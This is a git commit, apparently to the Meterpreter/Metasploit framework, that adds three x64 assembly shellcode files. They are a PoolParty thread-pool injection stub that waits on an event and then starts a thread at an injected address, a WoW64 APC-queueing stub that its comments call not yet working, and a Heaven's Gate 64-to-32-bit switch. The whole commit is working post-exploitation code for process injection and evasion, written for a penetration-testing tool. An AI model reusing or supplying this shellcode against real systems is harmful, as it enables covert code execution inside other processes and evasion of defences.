feat(sources): including shellcodes used during pool-party injection

This commit is contained in:
dledda-r7
2024-08-30 04:33:32 -04:00
parent f91c95b0a0
commit 3a4b5eb372
3 changed files with 157 additions and 0 deletions
@@ -0,0 +1,60 @@
;-----------------------------------------------------------------------------;
; Author: Diego Ledda (diego_ledda[at]rapid7[dot]com)
; Compatible: Windows 11, 10
; Architecture: x64
; Version: 0.1 (August 2024)
;-----------------------------------------------------------------------------;
; This is a simple helper function that should be put on the top of a x86 shellcode we want to execute in WoW64 context
; The following stub is executed in a x64 context of a WoW64 process. So far this stub is not working because we need first
; to setup a 32-bit context properly.
[BITS 64]
[ORG 0]
createwow64:
cld ; Clear the direction flag.
jmp _parameters ; Get the end of the shellcode
_cb_parameters:
pop rsi
sub rsp, 0x78 ; Alloc some space on stack
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta:
%include "./src/block/block_api.asm" ;
start:
pop rbp
mov r10d, 0x32473F75
call rbp
mov rax, -2 ; We don't have kernel32.dll, loading it with LdrLoadDll will result in some errors
; This is a quick and dirty way to get the GetCurrentThread() by reversing kernel32.dll
; ntdll.dll!RtlQueueApcWow64Thread(hCurrentThread, szWoW64Shellcode, NULL, NULL, NULL)
; This is an alias for QueueApcThread with the automatic encoding of szWoW64Shellcode address to execute it in 32 bit.
; However this will fail in the current 64bit context because we don't have the CPU setted up to perform 32-bit process
; operations, for example is missing the initialization of the fs segment.
mov rcx, rax
mov rdx, rsi
xor r8, r8
xor r9, r9
push r9
mov r10d, 0xB9B3BF13
call rbp
; ntdll!NtTestAlert() This triggers the APC schedule.
xor rcx, rcx
xor rdx, rdx
xor r8, r8
xor r9, r9
mov r10d, 0xF3AFA26D
call rbp
; Infinite loop, not sure if this is needed, in the poolparty_x64.asm seems needed to avoid the stub crashing.
_loop:
xor rax,rax
test rax,rax
jz _loop
_parameters:
call _cb_parameters
ret
@@ -0,0 +1,77 @@
;-----------------------------------------------------------------------------;
; Author: Diego Ledda (diego_ledda[at]rapid7[dot]com)
; Compatible: Windows 11, 10, 7, Vista
; Architecture: x64
; Version: 0.4 (July 2024)
; Size: 276 bytes
; Build: >build.py poolparty
;-----------------------------------------------------------------------------;
; Stub helper for pool-party injection.
;typedef struct _POOLPARTYCTX
;{
; union
; {
; LPVOID lpStartAddress;
; BYTE bPadding1[8];
; } s;
; union
; {
; LPVOID lpParameter;
; BYTE bPadding2[8];
; } p;
; union
; {
; LPVOID hEventTrigger;
; BYTE bPadding2[8];
; } e;
;
;} POOLPARTYCTX, * LPPOOLPARTYCTX;
; Description:
; This stub is executed during the Meterpreter migration. The POOLPARTYCTX must be allocated ALWAYS at the end of the shellcode,
; this is mandatory as some pool-party variants doesn't support arguments passing. Also an hEventTrigger is mandatory because
; we need to wait the ok from the previous Meterpreter to continue the execution. with other techniques (RemoteThread and APC)
; We are starting the process in SUSPENDED mode and then Resuming it, here we need to wait for an event.
; This shellcode is done to work with multiple PoolParty variants.
; Supported Variants:
; - TP Wait Insertion
; - TP Direct Insertion
[BITS 64]
[ORG 0]
cld ; Clear the direction flag.
jmp _parameters ; Get the POOLPARTYCTX after the shellcode,
_cb_parameters: ; Unluckly in some PoolParty variants we cannot receive parameters.
pop rsi
sub rsp, 0x78 ; Alloc some space on stack
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
%include "./src/block/block_api.asm" ;
start: ;
pop rbp ; Pop off the address of 'api_call' for calling later.
mov ecx, [rsi+16] ; Get hEventTrigger
xor rdx, rdx
dec edx ; Decrement rdx down to -1 (INFINITE)
mov r10d, 0x601D8708 ; hash( "kernel32.dll", "WaitForSingleObject" )
call rbp ; WaitForSingleObject(hEventTrigger, INFINITE);
mov rcx, rsi ; TODO: We can probably just use RSI here.
xor rdx, rdx ; zero RDX
mov r8, [rcx] ; r8 = ctx->lpStartAddress
mov r9, [rcx+8] ; r9 = ctx->lpParameter
xor rcx, rcx ; Clear ECX, lpThreadAttributes
mov edx, 0x100000 ; set dwStackSize to 1MB (probably this is not necessary anymore)
push rcx ; lpThreadId
push rcx ; dwCreationFlags
mov r10d, 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call rbp ; CreateThread( NULL, 0x100000, ctx->lpStartAddress, ctx->lpParameter, 0, NULL );
loop:
xor eax,eax ; This infinite loop seems necessary to keep the process running.
cmp eax,eax ; Needs further investigation
je loop
nop
_parameters:
call _cb_parameters ; Simple way to get the address of the POOLPARTYCTX using the return address
@@ -0,0 +1,20 @@
;-----------------------------------------------------------------------------;
; Author: Diego Ledda (diego_ledda[at]rapid7[dot]com)
; Compatible: Windows 11, 10, 7, Vista
; Architecture: x64
; Version: 0.1 (August 2024)
;-----------------------------------------------------------------------------;
; Simple Heaven's Gate implementation that can be put on top of an x86 shellcode.
[BITS 64]
[ORG 0]
x64tox86:
cld ;
xor rcx,rcx
mov ecx, 02bh
mov ss, cx
call heavens_gate
heavens_gate:
mov dword [esp + 4], 023h
add dword [esp], 0fh
retf
; From here is executed in x86 bit